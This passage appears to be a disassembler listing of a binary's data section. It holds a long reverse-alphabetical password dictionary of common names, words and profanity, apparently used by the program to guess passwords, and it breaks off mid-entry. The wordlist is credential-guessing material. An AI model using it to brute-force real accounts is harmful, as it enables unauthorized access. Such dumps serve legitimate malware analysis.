XREF: ___:004301C8o align 4 aFrank db 'frank',0 ; DATA XREF: ___:004301C4o align 4 aFrance db 'france',0 ; DATA XREF: ___:004301C0o align 4 aFoxtrot db 'foxtrot',0 ; DATA XREF: ___:004301BCo aFourier db 'fourier',0 ; DATA XREF: ___:004301B8o aForsythe db 'forsythe',0 ; DATA XREF: ___:004301B4o align 10h aFornicat db 'fornicat',0 ; DATA XREF: ___:004301B0o align 4 aFormat db 'format',0 ; DATA XREF: ___:004301ACo align 4 aForm db 'form',0 ; DATA XREF: ___:004301A8o align 4 aForever db 'forever',0 ; DATA XREF: ___:004301A4o aForesigh db 'foresigh',0 ; DATA XREF: ___:004301A0o align 10h aFord db 'ford',0 ; DATA XREF: ___:0043019Co align 4 aForce db 'force',0 ; DATA XREF: ___:00430198o align 10h aFootball db 'football',0 ; DATA XREF: ___:00430194o align 4 aFoolproo db 'foolproo',0 ; DATA XREF: ___:00430190o align 4 aFool db 'fool',0 ; DATA XREF: ___:0043018Co align 10h aFood db 'food',0 ; DATA XREF: ___:00430188o align 4 aFlowers db 'flowers',0 ; DATA XREF: ___:00430184o aFlower db 'flower',0 ; DATA XREF: ___:00430180o align 4 aFlorida db 'florida',0 ; DATA XREF: ___:0043017Co aFloat db 'float',0 ; DATA XREF: ___:00430178o align 4 aFlakes db 'flakes',0 ; DATA XREF: ___:00430174o align 10h aFishers db 'fishers',0 ; DATA XREF: ___:00430170o aFirewall db 'firewall',0 ; DATA XREF: ___:0043016Co align 4 aFire db 'fire',0 ; DATA XREF: ___:00430168o align 4 aFinite db 'finite',0 ; DATA XREF: ___:00430164o align 4 aFile db 'file',0 ; DATA XREF: sub_40EE72+1E83o ; sub_40EE72+1EF9o ... align 4 aFight db 'fight',0 ; DATA XREF: ___:0043015Co align 4 aField db 'field',0 ; DATA XREF: ___:00430158o align 4 aFidelity db 'fidelity',0 ; DATA XREF: ___:00430154o align 4 aFerrari db 'ferrari',0 ; DATA XREF: ___:00430150o aFermat db 'fermat',0 ; DATA XREF: ___:0043014Co align 4 aFender db 'fender',0 ; DATA XREF: ___:00430148o align 10h aFelicia db 'felicia',0 ; DATA XREF: ___:00430144o aFeds db 'feds',0 ; DATA XREF: ___:00430140o align 10h aFear db 'fear',0 ; DATA XREF: ___:0043013Co align 4 aFast db 'fast',0 ; DATA XREF: ___:00430138o align 10h aFart db 'fart',0 ; DATA XREF: ___:00430134o align 4 aFaraday db 'faraday',0 ; DATA XREF: ___:00430130o aFarad db 'farad',0 ; DATA XREF: ___:0043012Co align 4 aFamily db 'family',0 ; DATA XREF: ___:00430128o align 10h aFalse db 'false',0 ; DATA XREF: ___:00430124o align 4 aFalcon db 'falcon',0 ; DATA XREF: ___:00430120o align 10h aFaith db 'faith',0 ; DATA XREF: ___:0043011Co align 4 aFairway db 'fairway',0 ; DATA XREF: ___:00430118o aExtensio db 'extensio',0 ; DATA XREF: ___:00430114o align 4 aExplosiv db 'explosiv',0 ; DATA XREF: ___:00430110o align 4 aExplorer db 'explorer',0 ; DATA XREF: ___:0043010Co align 4 aExplore db 'explore',0 ; DATA XREF: ___:00430108o aExplode db 'explode',0 ; DATA XREF: ___:00430104o aExpert db 'expert',0 ; DATA XREF: ___:00430100o align 4 aEvelyn db 'evelyn',0 ; DATA XREF: ___:004300FCo align 4 aEuclid db 'euclid',0 ; DATA XREF: ___:004300F8o align 4 aEternity db 'eternity',0 ; DATA XREF: ___:004300F4o align 4 aEstate db 'estate',0 ; DATA XREF: ___:004300F0o align 10h aEstablis db 'establis',0 ; DATA XREF: ___:004300ECo align 4 aErsatz db 'ersatz',0 ; DATA XREF: ___:004300E8o align 4 aErotic db 'erotic',0 ; DATA XREF: ___:004300E4o align 4 aErin db 'erin',0 ; DATA XREF: ___:004300E0o align 4 aErika db 'erika',0 ; DATA XREF: ___:004300DCo align 4 aErica db 'erica',0 ; DATA XREF: ___:004300D8o align 4 aEric db 'eric',0 ; DATA XREF: ___:004300D4o align 4 aErenity db 'erenity',0 ; DATA XREF: ___:004300D0o aEnzyme db 'enzyme',0 ; DATA XREF: ___:004300CCo align 4 aEnterpri db 'enterpri',0 ; DATA XREF: ___:004300C8o align 4 aEnter db 'enter',0 ; DATA XREF: ___:004300C4o align 10h aEnglish db 'english',0 ; DATA XREF: ___:004300C0o aEngland db 'england',0 ; DATA XREF: ___:004300BCo aEngineer db 'engineer',0 ; DATA XREF: ___:004300B8o align 4 aEngine db 'engine',0 ; DATA XREF: ___:004300B4o align 4 aEnemy db 'enemy',0 ; DATA XREF: ___:004300B0o align 4 aEmmanuel db 'emmanuel',0 ; DATA XREF: ___:004300ACo align 4 aEmily db 'emily',0 ; DATA XREF: ___:004300A8o align 10h aEmerald db 'emerald',0 ; DATA XREF: ___:004300A4o aEmail db 'email',0 ; DATA XREF: ___:004300A0o align 10h aEllen db 'ellen',0 ; DATA XREF: ___:0043009Co align 4 aElizabet db 'elizabet',0 ; DATA XREF: ___:00430098o align 4 aElephant db 'elephant',0 ; DATA XREF: ___:00430094o align 10h aElectron db 'electron',0 ; DATA XREF: ___:00430090o align 4 aElanor db 'elanor',0 ; DATA XREF: ___:0043008Co align 4 aElaine db 'elaine',0 ; DATA XREF: ___:00430088o align 4 aEinstein db 'einstein',0 ; DATA XREF: ___:00430084o align 4 aEinsiein db 'einsiein',0 ; DATA XREF: ___:00430080o align 4 aEileen db 'eileen',0 ; DATA XREF: ___:0043007Co align 4 aEiderdow db 'eiderdow',0 ; DATA XREF: ___:00430078o align 4 aEgghead db 'egghead',0 ; DATA XREF: ___:00430074o aEdwina db 'edwina',0 ; DATA XREF: ___:00430070o align 4 aEdwin db 'edwin',0 ; DATA XREF: ___:0043006Co align 10h aEducatio db 'educatio',0 ; DATA XREF: ___:00430068o align 4 aEducation db 'education',0 ; DATA XREF: ___:00430064o align 4 aEdition db 'edition',0 ; DATA XREF: ___:00430060o aEdit db 'edit',0 ; DATA XREF: ___:off_43005Co align 4 aEdinburg db 'edinburg',0 ; DATA XREF: ___:00430058o align 4 aEdges db 'edges',0 ; DATA XREF: ___:00430054o align 4 aEddie db 'eddie',0 ; DATA XREF: ___:off_430050o align 4 aEcho db 'echo',0 ; DATA XREF: ___:0043004Co align 4 aEatme db 'eatme',0 ; DATA XREF: ___:00430048o align 4 aEasy db 'easy',0 ; DATA XREF: ___:00430044o align 4 aEasier db 'easier',0 ; DATA XREF: ___:00430040o align 4 aEarth db 'earth',0 ; DATA XREF: ___:0043003Co align 4 aEagle db 'eagle',0 ; DATA XREF: ___:00430038o align 4 aEager db 'eager',0 ; DATA XREF: ___:00430034o align 4 aDyke db 'dyke',0 ; DATA XREF: ___:00430030o align 4 aDungeon db 'dungeon',0 ; DATA XREF: ___:0043002Co aDuncan db 'duncan',0 ; DATA XREF: ___:00430028o align 4 aDulce db 'dulce',0 ; DATA XREF: ___:00430024o align 4 aDuke db 'duke',0 ; DATA XREF: ___:00430020o align 4 aDuelist db 'duelist',0 ; DATA XREF: ___:0043001Co aDude db 'dude',0 ; DATA XREF: ___:00430018o align 4 aDuck db 'duck',0 ; DATA XREF: ___:00430014o align 4 aDrought db 'drought',0 ; DATA XREF: ___:00430010o aDrive db 'drive',0 ; DATA XREF: ___:0043000Co align 4 aDrdoom db 'drdoom',0 ; DATA XREF: ___:00430008o align 4 aDragon db 'dragon',0 ; DATA XREF: ___:00430004o align 4 aDownload db 'download',0 ; DATA XREF: ___:00430000o align 4 aDope db 'dope',0 ; DATA XREF: ___:0042FFFCo align 10h aDoors db 'doors',0 ; DATA XREF: ___:0042FFF8o align 4 aDoor db 'door',0 ; DATA XREF: ___:0042FFF4o align 10h aDoonesbu db 'doonesbu',0 ; DATA XREF: ___:0042FFF0o align 4 aDoomsday db 'doomsday',0 ; DATA XREF: ___:0042FFECo align 4 aDoomii db 'doomii',0 ; DATA XREF: ___:0042FFE8o align 10h aDoom2 db 'doom2',0 ; DATA XREF: ___:0042FFE4o align 4 aDoom db 'doom',0 ; DATA XREF: ___:0042FFE0o align 10h aDong db 'dong',0 ; DATA XREF: ___:0042FFDCo align 4 aDollar db 'dollar',0 ; DATA XREF: ___:0042FFD8o align 10h aDoctor db 'doctor',0 ; DATA XREF: ___:0042FFD4o align 4 aDisplay_0 db 'display',0 ; DATA XREF: ___:0042FFD0o aDisney db 'disney',0 ; DATA XREF: ___:0042FFCCo align 4 aDiskette db 'diskette',0 ; DATA XREF: ___:0042FFC8o align 4 aDisk_0 db 'disk',0 ; DATA XREF: ___:0042FFC4o align 4 aDiscover db 'discover',0 ; DATA XREF: ___:0042FFC0o align 4 aDisclose db 'disclose',0 ; DATA XREF: ___:0042FFBCo align 4 aDiscipli db 'discipli',0 ; DATA XREF: ___:0042FFB8o align 10h aDisc db 'disc',0 ; DATA XREF: ___:0042FFB4o align 4 aDirty db 'dirty',0 ; DATA XREF: ___:0042FFB0o align 10h aDirector db 'director',0 ; DATA XREF: ___:0042FFACo align 4 aDirect db 'direct',0 ; DATA XREF: ___:0042FFA8o align 4 aDipshit db 'dipshit',0 ; DATA XREF: ___:0042FFA4o aDinosaur db 'dinosaur',0 ; DATA XREF: ___:0042FFA0o align 4 aDigital db 'digital',0 ; DATA XREF: ___:0042FF9Co aDieter db 'dieter',0 ; DATA XREF: ___:0042FF98o align 4 aDiet db 'diet',0 ; DATA XREF: ___:0042FF94o align 10h aDiehard db 'diehard',0 ; DATA XREF: ___:0042FF90o aDick db 'dick',0 ; DATA XREF: ___:0042FF8Co align 10h aDice db 'dice',0 ; DATA XREF: ___:0042FF88o align 4 aDiane db 'diane',0 ; DATA XREF: ___:0042FF84o align 10h aDiana db 'diana',0 ; DATA XREF: ___:0042FF80o align 4 aDiamond db 'diamond',0 ; DATA XREF: ___:0042FF7Co aDial db 'dial',0 ; DATA XREF: ___:0042FF78o align 4 aDevice db 'device',0 ; DATA XREF: ___:0042FF74o align 10h aDevelop db 'develop',0 ; DATA XREF: ___:0042FF70o aDesperat db 'desperat',0 ; DATA XREF: ___:0042FF6Co align 4 aDesktop db 'desktop',0 ; DATA XREF: ___:0042FF68o aDesk db 'desk',0 ; DATA XREF: ___:0042FF64o align 4 aDesiree db 'desiree',0 ; DATA XREF: ___:0042FF60o aDennis db 'dennis',0 ; DATA XREF: ___:0042FF5Co align 4 aDenise db 'denise',0 ; DATA XREF: ___:0042FF58o align 4 aDemocrat db 'democrat',0 ; DATA XREF: ___:0042FF54o align 4 aDeluge db 'deluge',0 ; DATA XREF: ___:0042FF50o align 10h aDelta db 'delta',0 ; DATA XREF: ___:0042FF4Co align 4 aDefoe db 'defoe',0 ; DATA XREF: ___:0042FF48o align 10h aDefault_0 db 'DEFAULT',0 ; DATA XREF: ___:0042FF44o aDeck db 'deck',0 ; DATA XREF: ___:0042FF3Co align 10h aDecember db 'december',0 ; DATA XREF: ___:0042FF38o align 4 aDebug db 'debug',0 ; DATA XREF: ___:0042FF34o align 4 aDeborah db 'deborah',0 ; DATA XREF: ___:0042FF30o aDebbie db 'debbie',0 ; DATA XREF: ___:0042FF2Co align 4 aDeathsta db 'deathsta',0 ; DATA XREF: ___:0042FF28o align 10h aDead db 'dead',0 ; DATA XREF: ___:0042FF24o align 4 aDawn db 'dawn',0 ; DATA XREF: ___:0042FF20o align 10h aDave db 'dave',0 ; DATA XREF: ___:0042FF1Co align 4 aData db 'data',0 ; DATA XREF: ___:0042FF18o align 10h aDarkaven db 'darkaven',0 ; DATA XREF: ___:0042FF14o align 4 aDark db 'dark',0 ; DATA XREF: ___:0042FF10o align 4 aDapper db 'dapper',0 ; DATA XREF: ___:0042FF0Co align 4 aDanny db 'danny',0 ; DATA XREF: ___:0042FF08o align 4 aDanielle db 'danielle',0 ; DATA XREF: ___:0042FF04o align 10h aDaniel db 'daniel',0 ; DATA XREF: ___:0042FF00o align 4 aDancer db 'dancer',0 ; DATA XREF: ___:0042FEFCo align 10h aDana db 'dana',0 ; DATA XREF: ___:0042FEF8o align 4 aDaisy db 'daisy',0 ; DATA XREF: ___:0042FEF4o align 10h aDaemon db 'daemon',0 ; DATA XREF: ___:0042FEF0o align 4 aCynthia db 'cynthia',0 ; DATA XREF: ___:0042FEECo aCyberspa db 'cyberspa',0 ; DATA XREF: ___:0042FEE8o align 4 aCyberpun db 'cyberpun',0 ; DATA XREF: ___:0042FEE4o align 4 aCyber db 'cyber',0 ; DATA XREF: ___:0042FEE0o align 10h aCustomer db 'customer',0 ; DATA XREF: ___:0042FEDCo align 4 aCunt db 'cunt',0 ; DATA XREF: ___:0042FED8o align 4 aCshrc db 'cshrc',0 ; DATA XREF: ___:0042FED4o align 4 aCrystal db 'crystal',0 ; DATA XREF: ___:0042FED0o aCristina db 'cristina',0 ; DATA XREF: ___:0042FECCo align 10h aCriminal db 'criminal',0 ; DATA XREF: ___:0042FEC8o align 4 aCrime db 'crime',0 ; DATA XREF: ___:0042FEC4o align 4 aCretin db 'cretin',0 ; DATA XREF: ___:0042FEC0o align 4 aCreosote db 'creosote',0 ; DATA XREF: ___:0042FEBCo align 4 aCredit db 'credit',0 ; DATA XREF: ___:0042FEB8o align 10h aCreature db 'creature',0 ; DATA XREF: ___:0042FEB4o align 4 aCreation db 'creation',0 ; DATA XREF: ___:0042FEB0o align 4 aCreate db 'create',0 ; DATA XREF: ___:0042FEACo align 10h aCream db 'cream',0 ; DATA XREF: ___:0042FEA8o align 4 aCrackpot db 'crackpot',0 ; DATA XREF: ___:0042FEA4o align 4 aCrack db 'crack',0 ; DATA XREF: ___:0042FEA0o align 4 aCowboy db 'cowboy',0 ; DATA XREF: ___:0042FE9Co align 4 aCouscous db 'couscous',0 ; DATA XREF: ___:0042FE98o align 10h aCountry db 'country',0 ; DATA XREF: ___:0042FE94o aCounters db 'counters',0 ; DATA XREF: ___:0042FE90o align 4 aCorrect db 'correct',0 ; DATA XREF: ___:0042FE8Co aCorneliu db 'corneliu',0 ; DATA XREF: ___:0042FE88o align 4 aCopy db 'copy',0 ; DATA XREF: ___:0042FE84o align 10h aCops db 'cops',0 ; DATA XREF: ___:0042FE80o align 4 aCopper db 'copper',0 ; DATA XREF: ___:0042FE7Co align 10h aCooper db 'cooper',0 ; DATA XREF: ___:0042FE78o align 4 aCool_1 db 'cool',0 ; DATA XREF: ___:0042FE74o align 10h aCookie db 'cookie',0 ; DATA XREF: ___:0042FE70o align 4 aCookbook db 'cookbook',0 ; DATA XREF: ___:0042FE6Co align 4 aCook db 'cook',0 ; DATA XREF: ___:0042FE68o align 4 aContinue db 'continue',0 ; DATA XREF: sub_40EE72+20E5o ; ___:0042FE64o align 4 aConsole db 'console',0 ; DATA XREF: ___:0042FE60o aConserva db 'conserva',0 ; DATA XREF: ___:0042FE5Co align 4 aConnie db 'connie',0 ; DATA XREF: ___:0042FE58o align 4 aCondom db 'condom',0 ; DATA XREF: ___:0042FE50o align 4 aCondo db 'condo',0 ; DATA XREF: ___:0042FE4Co align 4 aComrades db 'comrades',0 ; DATA XREF: ___:0042FE48o align 10h aComrade db 'comrade',0 ; DATA XREF: ___:0042FE44o aComputin db 'computin',0 ; DATA XREF: ___:0042FE40o align 4 aCompany db 'company',0 ; DATA XREF: ___:0042FE3Co aCommrade db 'commrade',0 ; DATA XREF: ___:0042FE38o align 4 aCommit db 'commit',0 ; DATA XREF: ___:0042FE34o align 10h aComics db 'comics',0 ; DATA XREF: ___:0042FE30o align 4 aCombat db 'combat',0 ; DATA XREF: ___:0042FE2Co align 10h aColor db 'color',0 ; DATA XREF: ___:0042FE28o align 4 aCollins db 'collins',0 ; DATA XREF: ___:0042FE24o aCold db 'cold',0 ; DATA XREF: ___:0042FE20o align 4 aCola db 'cola',0 ; DATA XREF: ___:0042FE1Co align 10h aCoke db 'coke',0 ; DATA XREF: ___:0042FE18o align 4 aCoin db 'coin',0 ; DATA XREF: ___:0042FE14o align 10h aCoffee db 'coffee',0 ; DATA XREF: ___:0042FE10o align 4 aCodeword db 'codeword',0 ; DATA XREF: ___:0042FE0Co align 4 aCodename db 'codename',0 ; DATA XREF: ___:0042FE08o align 10h aCode db 'code',0 ; DATA XREF: ___:0042FE04o align 4 aCock db 'cock',0 ; DATA XREF: ___:0042FE00o align 10h aCocainco db 'cocainco',0 ; DATA XREF: ___:0042FDFCo align 4 aCocacola db 'cocacola',0 ; DATA XREF: ___:0042FDF8o align 4 aCoast db 'coast',0 ; DATA XREF: ___:0042FDF4o align 10h aClusters db 'clusters',0 ; DATA XREF: ___:0042FDF0o align 4 aCluster db 'cluster',0 ; DATA XREF: ___:0042FDECo aClinton db 'clinton',0 ; DATA XREF: ___:0042FDE8o aCleavage db 'cleavage',0 ; DATA XREF: ___:0042FDE4o align 4 aClaymore db 'claymore',0 ; DATA XREF: ___:0042FDE0o align 4 aClaudia db 'claudia',0 ; DATA XREF: ___:0042FDDCo aClassic db 'classic',0 ; DATA XREF: ___:0042FDD8o aClasses db 'classes',0 ; DATA XREF: ___:0042FDD4o aClass db 'class',0 ; DATA XREF: ___:0042FDD0o align 4 aCindy db 'cindy',0 ; DATA XREF: ___:0042FDCCo align 4 aCigarett db 'cigarett',0 ; DATA XREF: ___:0042FDC8o align 4 aCigar db 'cigar',0 ; DATA XREF: ___:0042FDC4o align 10h aChristy db 'christy',0 ; DATA XREF: ___:0042FDC0o aChristin db 'christin',0 ; DATA XREF: ___:0042FDBCo align 4 aChris db 'chris',0 ; DATA XREF: ___:0042FDB8o align 4 aChip db 'chip',0 ; DATA XREF: ___:0042FDB4o align 4 aChester db 'chester',0 ; DATA XREF: ___:0042FDB0o aChess db 'chess',0 ; DATA XREF: ___:0042FDACo align 4 aChemistr db 'chemistr',0 ; DATA XREF: ___:0042FDA8o align 10h aChem db 'chem',0 ; DATA XREF: ___:0042FDA4o align 4 aChat_0 db 'chat',0 ; DATA XREF: ___:0042FDA0o align 10h aCharon db 'charon',0 ; DATA XREF: ___:0042FD9Co align 4 aCharming db 'charming',0 ; DATA XREF: ___:0042FD98o align 4 aCharlie db 'charlie',0 ; DATA XREF: ___:0042FD94o aCharles db 'charles',0 ; DATA XREF: ___:0042FD90o aCharity db 'charity',0 ; DATA XREF: ___:0042FD8Co aChange db 'change',0 ; DATA XREF: ___:0042FD88o align 4 aCerulean db 'cerulean',0 ; DATA XREF: ___:0042FD84o align 10h aCeltics db 'celtics',0 ; DATA XREF: ___:0042FD80o aCeltic db 'celtic',0 ; DATA XREF: ___:0042FD7Co align 10h aCelt db 'celt',0 ; DATA XREF: ___:0042FD78o align 4 aCecily db 'cecily',0 ; DATA XREF: ___:0042FD74o align 10h aCayuga db 'cayuga',0 ; DATA XREF: ___:0042FD70o align 4 aCave db 'cave',0 ; DATA XREF: ___:0042FD6Co align 10h aCathy db 'cathy',0 ; DATA XREF: ___:0042FD68o align 4 aCatholic db 'catholic',0 ; DATA XREF: ___:0042FD64o align 4 aCatherin db 'catherin',0 ; DATA XREF: ___:0042FD60o align 10h aCastle db 'castle',0 ; DATA XREF: ___:0042FD5Co align 4 aCash db 'cash',0 ; DATA XREF: ___:0042FD58o align 10h aCascades db 'cascades',0 ; DATA XREF: ___:0042FD54o align 4 aCarson db 'carson',0 ; DATA XREF: ___:0042FD50o align 4 aCarrie db 'carrie',0 ; DATA XREF: ___:0042FD4Co align 4 aCaroline db 'caroline',0 ; DATA XREF: ___:0042FD48o align 4 aCarolina db 'carolina',0 ; DATA XREF: ___:0042FD44o align 4 aCarole db 'carole',0 ; DATA XREF: ___:0042FD40o align 4 aCarol db 'carol',0 ; DATA XREF: ___:0042FD3Co align 4 aCarmen db 'carmen',0 ; DATA XREF: ___:0042FD38o align 4 aCarla db 'carla',0 ; DATA XREF: ___:0042FD34o align 4 aCaren db 'caren',0 ; DATA XREF: ___:0042FD30o align 4 aCardinal db 'cardinal',0 ; DATA XREF: ___:0042FD2Co align 4 aCard db 'card',0 ; DATA XREF: ___:0042FD28o align 10h aCapture db 'capture',0 ; DATA XREF: ___:0042FD24o aCaptain db 'captain',0 ; DATA XREF: ___:0042FD20o aCantor db 'cantor',0 ; DATA XREF: ___:0042FD1Co align 4 aCandy db 'candy',0 ; DATA XREF: ___:0042FD18o align 10h aCandi db 'candi',0 ; DATA XREF: ___:0042FD14o align 4 aCamping db 'camping',0 ; DATA XREF: ___:0042FD10o aCampanil db 'campanil',0 ; DATA XREF: ___:0042FD0Co align 4 aCamille db 'camille',0 ; DATA XREF: ___:0042FD08o aCaliforn db 'californ',0 ; DATA XREF: ___:0042FD04o align 10h aButthead db 'butthead',0 ; DATA XREF: ___:0042FD00o align 4 aButt db 'butt',0 ; DATA XREF: ___:0042FCFCo align 4 aButch db 'butch',0 ; DATA XREF: ___:0042FCF8o align 4 aBurn db 'burn',0 ; DATA XREF: ___:0042FCF4o align 4 aBurgess db 'burgess',0 ; DATA XREF: ___:0042FCF0o aBung db 'bung',0 ; DATA XREF: ___:0042FCECo align 4 aBumbling db 'bumbling',0 ; DATA XREF: ___:0042FCE8o align 10h aBullshit db 'bullshit',0 ; DATA XREF: ___:0042FCE4o align 4 aBulls db 'bulls',0 ; DATA XREF: ___:0042FCE0o align 4 aBrutefor db 'brutefor',0 ; DATA XREF: ___:0042FCDCo align 10h aBrute db 'brute',0 ; DATA XREF: ___:0042FCD8o align 4 aBrunette db 'brunette',0 ; DATA XREF: ___:0042FCD4o align 4 aBrothel db 'brothel',0 ; DATA XREF: ___:0042FCD0o aBroadway db 'broadway',0 ; DATA XREF: ___:0042FCCCo align 4 aBridget db 'bridget',0 ; DATA XREF: ___:0042FCC8o aBrian db 'brian',0 ; DATA XREF: ___:0042FCC4o align 4 aBrenda db 'brenda',0 ; DATA XREF: ___:0042FCC0o align 10h aBreast db 'breast',0 ; DATA XREF: ___:0042FCBCo align 4 aBreak db 'break',0 ; DATA XREF: ___:0042FCB8o align 10h aBravo db 'bravo',0 ; DATA XREF: ___:0042FCB4o align 4 aBrandy db 'brandy',0 ; DATA XREF: ___:0042FCB0o align 10h aBrandi db 'brandi',0 ; DATA XREF: ___:0042FCACo align 4 aBradley db 'bradley',0 ; DATA XREF: ___:0042FCA8o aBoyscout db 'boyscout',0 ; DATA XREF: ___:0042FCA4o align 4 aBorn db 'born',0 ; DATA XREF: ___:0042FCA0o align 4 aBook db 'book',0 ; DATA XREF: ___:0042FC9Co align 4 aBoobs db 'boobs',0 ; DATA XREF: ___:0042FC98o align 4 aBoob db 'boob',0 ; DATA XREF: ___:0042FC94o align 4 aBoner db 'boner',0 ; DATA XREF: ___:0042FC90o align 4 aBomb db 'bomb',0 ; DATA XREF: ___:0042FC8Co align 4 aBoard db 'board',0 ; DATA XREF: ___:0042FC88o align 4 aBlues db 'blues',0 ; DATA XREF: ___:0042FC84o align 4 aBlue db 'blue',0 ; DATA XREF: ___:0042FC80o align 4 aBlowjob db 'blowjob',0 ; DATA XREF: ___:0042FC7Co aBlow db 'blow',0 ; DATA XREF: ___:0042FC78o align 4 aBloodaxe db 'bloodaxe',0 ; DATA XREF: ___:0042FC74o align 10h aBlood db 'blood',0 ; DATA XREF: ___:0042FC70o align 4 aBlondie db 'blondie',0 ; DATA XREF: ___:0042FC6Co aBlonde db 'blonde',0 ; DATA XREF: ___:0042FC68o align 4 aBlack db 'black',0 ; DATA XREF: ___:0042FC64o align 10h aBitnet db 'bitnet',0 ; DATA XREF: ___:0042FC60o align 4 aBitmap db 'bitmap',0 ; DATA XREF: ___:0042FC5Co align 10h aBitch db 'bitch',0 ; DATA XREF: ___:0042FC58o align 4 aBishop db 'bishop',0 ; DATA XREF: ___:0042FC54o align 10h aBird db 'bird',0 ; DATA XREF: ___:0042FC50o align 4 aBios db 'bios',0 ; DATA XREF: ___:0042FC4Co align 10h aBinary db 'binary',0 ; DATA XREF: ___:0042FC48o align 4 aBill db 'bill',0 ; DATA XREF: ___:0042FC44o align 10h aBigfoot db 'bigfoot',0 ; DATA XREF: ___:0042FC40o aBicamera db 'bicamera',0 ; DATA XREF: ___:0042FC3Co align 4 aBible db 'bible',0 ; DATA XREF: ___:0042FC38o align 4 aBeverly db 'beverly',0 ; DATA XREF: ___:0042FC34o aBetty db 'betty',0 ; DATA XREF: ___:0042FC30o align 4 aBetsie db 'betsie',0 ; DATA XREF: ___:0042FC2Co align 4 aBeth db 'beth',0 ; DATA XREF: ___:0042FC28o align 4 aBeta db 'beta',0 ; DATA XREF: ___:0042FC24o align 4 aBeryl db 'beryl',0 ; DATA XREF: ___:0042FC20o align 4 aBerliner db 'berliner',0 ; DATA XREF: ___:0042FC1Co align 4 aBerlin db 'berlin',0 ; DATA XREF: ___:0042FC18o align 10h aBerkeley db 'berkeley',0 ; DATA XREF: ___:0042FC14o align 4 aBeowulf db 'beowulf',0 ; DATA XREF: ___:0042FC10o aBenz db 'benz',0 ; DATA XREF: ___:0042FC0Co align 4 aBeloved db 'beloved',0 ; DATA XREF: ___:0042FC08o aBell db 'bell',0 ; DATA XREF: ___:0042FC04o align 4 aBehead db 'behead',0 ; DATA XREF: ___:0042FC00o align 4 aBegin db 'begin',0 ; DATA XREF: ___:0042FBFCo align 4 aBeethove db 'beethove',0 ; DATA XREF: ___:0042FBF8o align 4 aBecky db 'becky',0 ; DATA XREF: ___:0042FBF4o align 10h aBeaver db 'beaver',0 ; DATA XREF: ___:0042FBF0o align 4 aBeauty db 'beauty',0 ; DATA XREF: ___:0042FBECo align 10h aBeater db 'beater',0 ; DATA XREF: ___:0042FBE8o align 4 aBeast db 'beast',0 ; DATA XREF: ___:0042FBE4o align 10h aBear db 'bear',0 ; DATA XREF: ___:0042FBE0o align 4 aBeammeup db 'beammeup',0 ; DATA XREF: ___:0042FBDCo align 4 aBeach db 'beach',0 ; DATA XREF: ___:0042FBD8o align 4 aBatman db 'batman',0 ; DATA XREF: ___:0042FBD4o align 4 aBatch db 'batch',0 ; DATA XREF: ___:0042FBD0o align 4 aBassoon db 'bassoon',0 ; DATA XREF: ___:0042FBCCo aBass db 'bass',0 ; DATA XREF: ___:0042FBC8o align 4 aBasic db 'basic',0 ; DATA XREF: ___:0042FBC4o align 4 aBaseball db 'baseball',0 ; DATA XREF: ___:0042FBC0o align 10h aBartman db 'bartman',0 ; DATA XREF: ___:0042FBBCo aBart db 'bart',0 ; DATA XREF: ___:0042FBB8o align 10h aBaritone db 'baritone',0 ; DATA XREF: ___:0042FBB4o align 4 aBarf db 'barf',0 ; DATA XREF: ___:0042FBB0o align 4 aBare db 'bare',0 ; DATA XREF: ___:0042FBACo align 4 aBarber db 'barber',0 ; DATA XREF: ___:0042FBA8o align 4 aBarbara db 'barbara',0 ; DATA XREF: ___:0042FBA4o aBanks db 'banks',0 ; DATA XREF: ___:0042FBA0o align 4 aBank db 'bank',0 ; DATA XREF: ___:0042FB9Co align 4 aBandit db 'bandit',0 ; DATA XREF: ___:0042FB98o align 4 aBananas db 'bananas',0 ; DATA XREF: ___:0042FB94o aBanana db 'banana',0 ; DATA XREF: ___:0042FB90o align 4 aBall db 'ball',0 ; DATA XREF: ___:0042FB8Co align 4 aBailey db 'bailey',0 ; DATA XREF: ___:0042FB88o align 4 aBadass db 'badass',0 ; DATA XREF: ___:0042FB84o align 4 aBackdoor db 'backdoor',0 ; DATA XREF: ___:0042FB80o align 4 aBacchus db 'bacchus',0 ; DATA XREF: ___:0042FB7Co aBaby db 'baby',0 ; DATA XREF: ___:0042FB78o align 4 aBabe db 'babe',0 ; DATA XREF: ___:0042FB74o align 10h aAzure db 'azure',0 ; DATA XREF: ___:0042FB70o align 4 aAztecs db 'aztecs',0 ; DATA XREF: ___:0042FB6Co align 10h aAuthoriz db 'authoriz',0 ; DATA XREF: ___:0042FB68o align 4 aAttack db 'attack',0 ; DATA XREF: ___:0042FB64o align 4 aAtom db 'atom',0 ; DATA XREF: ___:0042FB60o align 4 aAtmosphe db 'atmosphe',0 ; DATA XREF: ___:0042FB5Co align 4 aAthena db 'athena',0 ; DATA XREF: ___:0042FB58o align 10h aAsshole db 'asshole',0 ; DATA XREF: ___:0042FB54o aAsian db 'asian',0 ; DATA XREF: ___:0042FB50o align 10h aArtist db 'artist',0 ; DATA XREF: ___:0042FB4Co align 4 aArthur db 'arthur',0 ; DATA XREF: ___:0042FB48o align 10h aArrow db 'arrow',0 ; DATA XREF: ___:0042FB44o align 4 aArmy db 'army',0 ; DATA XREF: ___:0042FB40o align 10h aArlene db 'arlene',0 ; DATA XREF: ___:0042FB3Co align 4 aAriadne db 'ariadne',0 ; DATA XREF: ___:0042FB38o aAria db 'aria',0 ; DATA XREF: ___:0042FB34o align 4 aApril db 'april',0 ; DATA XREF: ___:0042FB30o align 10h aApollo13 db 'apollo13',0 ; DATA XREF: ___:0042FB2Co align 4 aAnything db 'anything',0 ; DATA XREF: ___:0042FB28o align 4 aAnvils db 'anvils',0 ; DATA XREF: ___:0042FB24o align 10h aAnthropo db 'anthropo',0 ; DATA XREF: ___:0042FB20o align 4 aAnthrax db 'anthrax',0 ; DATA XREF: ___:0042FB1Co aAnswer db 'answer',0 ; DATA XREF: ___:0042FB18o align 4 aAnonymou db 'anonymou',0 ; DATA XREF: ___:0042FB14o align 4 aAnon db 'anon',0 ; DATA XREF: ___:0042FB10o align 10h aAnnette db 'annette',0 ; DATA XREF: ___:0042FB0Co aAnne db 'anne',0 ; DATA XREF: ___:0042FB08o align 10h aAnna db 'anna',0 ; DATA XREF: ___:0042FB04o align 4 aAnita db 'anita',0 ; DATA XREF: ___:0042FB00o align 10h aAnimals db 'animals',0 ; DATA XREF: ___:0042FAFCo aAnimal db 'animal',0 ; DATA XREF: ___:0042FAF8o align 10h aAngie db 'angie',0 ; DATA XREF: ___:0042FAF4o align 4 aAngerine db 'angerine',0 ; DATA XREF: ___:0042FAF0o align 4 aAngela db 'angela',0 ; DATA XREF: ___:0042FAECo align 